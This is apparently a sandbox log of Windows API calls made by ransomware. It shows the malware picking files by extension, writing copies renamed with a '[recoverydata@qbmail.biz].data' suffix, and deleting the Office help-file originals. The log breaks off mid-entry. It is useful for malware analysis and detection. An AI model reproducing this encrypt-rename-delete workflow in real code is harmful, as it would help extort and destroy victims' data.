ReadFile (in: hFile=0x218, lpBuffer=0x3660058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ccfc38, lpOverlapped=0x0 | out: lpBuffer=0x3660058*, lpNumberOfBytesRead=0x2ccfc38*=0x40000, lpOverlapped=0x0) returned 1 [0089.057] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfc2c | out: lpNewFilePointer=0x0) returned 1 [0089.060] ReadFile (in: hFile=0x218, lpBuffer=0x36a0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ccfc38, lpOverlapped=0x0 | out: lpBuffer=0x36a0058*, lpNumberOfBytesRead=0x2ccfc38*=0x40000, lpOverlapped=0x0) returned 1 [0089.067] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ccfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0089.068] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfc2c | out: lpNewFilePointer=0x0) returned 1 [0089.068] ReadFile (in: hFile=0x218, lpBuffer=0x36e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ccfc38, lpOverlapped=0x0 | out: lpBuffer=0x36e0058*, lpNumberOfBytesRead=0x2ccfc38*=0x40000, lpOverlapped=0x0) returned 1 [0089.090] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0089.091] WriteFile (in: hFile=0x218, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2ccfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0089.455] SetEndOfFile (hFile=0x218) returned 1 [0089.455] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3ef0058 [0089.642] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfc7c | out: lpNewFilePointer=0x0) returned 1 [0089.642] WriteFile (in: hFile=0x218, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ccfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2ccfc88*=0x40000, lpOverlapped=0x0) returned 1 [0089.644] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfc7c | out: lpNewFilePointer=0x0) returned 1 [0089.644] WriteFile (in: hFile=0x218, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ccfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2ccfc88*=0x40000, lpOverlapped=0x0) returned 1 [0089.647] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfc7c | out: lpNewFilePointer=0x0) returned 1 [0089.647] WriteFile (in: hFile=0x218, lpBuffer=0x3ef0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ccfc88, lpOverlapped=0x0 | out: lpBuffer=0x3ef0058*, lpNumberOfBytesWritten=0x2ccfc88*=0x40000, lpOverlapped=0x0) returned 1 [0089.650] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3ef0058 | out: hHeap=0x5b0000) returned 1 [0089.650] CloseHandle (hObject=0x218) returned 1 [0090.320] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0090.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.321] lstrlenW (lpString=".doc") returned 4 [0090.321] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0090.321] lstrlenW (lpString=".docx") returned 5 [0090.321] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0090.321] lstrlenW (lpString=".pdf") returned 4 [0090.321] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0090.321] lstrlenW (lpString=".xls") returned 4 [0090.321] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0090.321] lstrlenW (lpString=".xlsx") returned 5 [0090.321] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0090.321] lstrlenW (lpString=".ppt") returned 4 [0090.321] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.321] lstrlenW (lpString=".zip") returned 4 [0090.321] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0090.321] lstrlenW (lpString=".rar") returned 4 [0090.321] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0090.321] lstrlenW (lpString=".bz2") returned 4 [0090.321] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0090.321] lstrlenW (lpString=".7z") returned 3 [0090.321] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0090.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.322] lstrlenW (lpString=".dbf") returned 4 [0090.322] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0090.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.322] lstrlenW (lpString=".1cd") returned 4 [0090.322] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0090.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.322] lstrlenW (lpString=".jpg") returned 4 [0090.322] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0090.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.322] lstrlenW (lpString=".doc") returned 4 [0090.322] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0090.322] lstrlenW (lpString=".docx") returned 5 [0090.323] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0090.323] lstrlenW (lpString=".pdf") returned 4 [0090.323] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0090.323] lstrlenW (lpString=".xls") returned 4 [0090.323] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0090.323] lstrlenW (lpString=".xlsx") returned 5 [0090.323] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0090.323] lstrlenW (lpString=".ppt") returned 4 [0090.323] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0090.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.323] lstrlenW (lpString=".zip") returned 4 [0090.323] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0090.323] lstrlenW (lpString=".rar") returned 4 [0090.323] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0090.323] lstrlenW (lpString=".bz2") returned 4 [0090.323] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0090.323] lstrlenW (lpString=".7z") returned 3 [0090.323] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.324] lstrlenW (lpString=".dbf") returned 4 [0090.324] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.324] lstrlenW (lpString=".1cd") returned 4 [0090.324] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0090.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0090.324] lstrlenW (lpString=".jpg") returned 4 [0090.324] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0090.324] lstrcmpiW (lpString1=".CHM", lpString2=".data") returned -1 [0090.324] lstrlenW (lpString="OCT.CHM") returned 7 [0090.324] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0090.325] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=71236) returned 1 [0090.325] CloseHandle (hObject=0x218) returned 1 [0090.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0090.325] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0090.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0090.326] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.326] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.326] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0090.326] GetLastError () returned 0x0 [0090.326] ReadFile (in: hFile=0x218, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x11644, lpOverlapped=0x0) returned 1 [0090.770] WriteFile (in: hFile=0x21c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x11650, lpOverlapped=0x0) returned 1 [0090.773] ReadFile (in: hFile=0x218, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0090.773] WriteFile (in: hFile=0x21c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe2, lpOverlapped=0x0) returned 1 [0090.774] SetEndOfFile (hFile=0x21c) returned 1 [0090.779] CloseHandle (hObject=0x21c) returned 1 [0090.781] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.781] SetEndOfFile (hFile=0x218) returned 1 [0090.782] CloseHandle (hObject=0x218) returned 1 [0090.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0090.783] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0090.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.783] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.783] lstrlenW (lpString=".doc") returned 4 [0090.783] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0090.783] lstrlenW (lpString=".docx") returned 5 [0090.783] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0090.784] lstrlenW (lpString=".pdf") returned 4 [0090.784] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0090.784] lstrlenW (lpString=".xls") returned 4 [0090.784] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0090.784] lstrlenW (lpString=".xlsx") returned 5 [0090.784] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0090.784] lstrlenW (lpString=".ppt") returned 4 [0090.784] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0090.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.784] lstrlenW (lpString=".zip") returned 4 [0090.784] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0090.784] lstrlenW (lpString=".rar") returned 4 [0090.784] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0090.784] lstrlenW (lpString=".bz2") returned 4 [0090.784] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0090.784] lstrlenW (lpString=".7z") returned 3 [0090.784] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0090.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.784] lstrlenW (lpString=".dbf") returned 4 [0090.784] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0090.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.784] lstrlenW (lpString=".1cd") returned 4 [0090.785] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0090.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.785] lstrlenW (lpString=".jpg") returned 4 [0090.785] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0090.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.785] lstrlenW (lpString=".doc") returned 4 [0090.785] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0090.785] lstrlenW (lpString=".docx") returned 5 [0090.785] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0090.785] lstrlenW (lpString=".pdf") returned 4 [0090.785] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0090.785] lstrlenW (lpString=".xls") returned 4 [0090.785] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0090.785] lstrlenW (lpString=".xlsx") returned 5 [0090.785] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0090.785] lstrlenW (lpString=".ppt") returned 4 [0090.785] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0090.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.785] lstrlenW (lpString=".zip") returned 4 [0090.786] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0090.786] lstrlenW (lpString=".rar") returned 4 [0090.786] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0090.786] lstrlenW (lpString=".bz2") returned 4 [0090.786] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0090.786] lstrlenW (lpString=".7z") returned 3 [0090.786] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0090.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.786] lstrlenW (lpString=".dbf") returned 4 [0090.786] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0090.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.786] lstrlenW (lpString=".1cd") returned 4 [0090.786] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0090.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0090.786] lstrlenW (lpString=".jpg") returned 4 [0090.786] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0090.786] lstrcmpiW (lpString1=".CHM", lpString2=".data") returned -1 [0090.786] lstrlenW (lpString="PSS10O.CHM") returned 10 [0090.786] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0090.787] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ccff1c | out: lpFileSize=0x2ccff1c*=26929) returned 1 [0090.787] CloseHandle (hObject=0x218) returned 1 [0090.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0090.787] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0090.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0090.787] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.787] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0090.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0090.788] GetLastError () returned 0x0 [0090.788] ReadFile (in: hFile=0x218, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x6931, lpOverlapped=0x0) returned 1 [0090.836] WriteFile (in: hFile=0x21c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0x6940, lpOverlapped=0x0) returned 1 [0090.838] ReadFile (in: hFile=0x218, lpBuffer=0x3660020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ccfed4, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesRead=0x2ccfed4*=0x0, lpOverlapped=0x0) returned 1 [0090.838] WriteFile (in: hFile=0x21c, lpBuffer=0x3660020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ccfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3660020*, lpNumberOfBytesWritten=0x2ccfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0090.838] SetEndOfFile (hFile=0x21c) returned 1 [0090.838] CloseHandle (hObject=0x21c) returned 1 [0091.454] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfec8 | out: lpNewFilePointer=0x0) returned 1 [0091.454] SetEndOfFile (hFile=0x218) returned 1 [0091.771] CloseHandle (hObject=0x218) returned 1 [0091.771] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0091.771] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0091.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.799] lstrlenW (lpString=".doc") returned 4 [0091.799] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0091.799] lstrlenW (lpString=".docx") returned 5 [0091.799] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0091.799] lstrlenW (lpString=".pdf") returned 4 [0091.799] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0091.799] lstrlenW (lpString=".xls") returned 4 [0091.799] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0091.799] lstrlenW (lpString=".xlsx") returned 5 [0091.799] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0091.799] lstrlenW (lpString=".ppt") returned 4 [0091.799] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0091.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.799] lstrlenW (lpString=".zip") returned 4 [0091.800] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0091.800] lstrlenW (lpString=".rar") returned 4 [0091.800] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0091.800] lstrlenW (lpString=".bz2") returned 4 [0091.800] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0091.800] lstrlenW (lpString=".7z") returned 3 [0091.800] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0091.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.800] lstrlenW (lpString=".dbf") returned 4 [0091.800] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0091.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.800] lstrlenW (lpString=".1cd") returned 4 [0091.800] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0091.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.800] lstrlenW (lpString=".jpg") returned 4 [0091.801] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0091.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.801] lstrlenW (lpString=".doc") returned 4 [0091.801] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0091.801] lstrlenW (lpString=".docx") returned 5 [0091.801] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0091.801] lstrlenW (lpString=".pdf") returned 4 [0091.801] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0091.801] lstrlenW (lpString=".xls") returned 4 [0091.801] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0091.802] lstrlenW (lpString=".xlsx") returned 5 [0091.802] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0091.802] lstrlenW (lpString=".ppt") returned 4 [0091.802] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0091.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.802] lstrlenW (lpString=".zip") returned 4 [0091.802] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0091.802] lstrlenW (lpString=".rar") returned 4 [0091.802] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0091.802] lstrlenW (lpString=".bz2") returned 4 [0091.802] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0091.802] lstrlenW (lpString=".7z") returned 3 [0091.802] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0091.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.802] lstrlenW (lpString=".dbf") returned 4 [0091.802] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0091.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.803] lstrlenW (lpString=".1cd") returned 4 [0091.803] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0091.803] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0091.803] lstrlenW (lpString=".jpg") 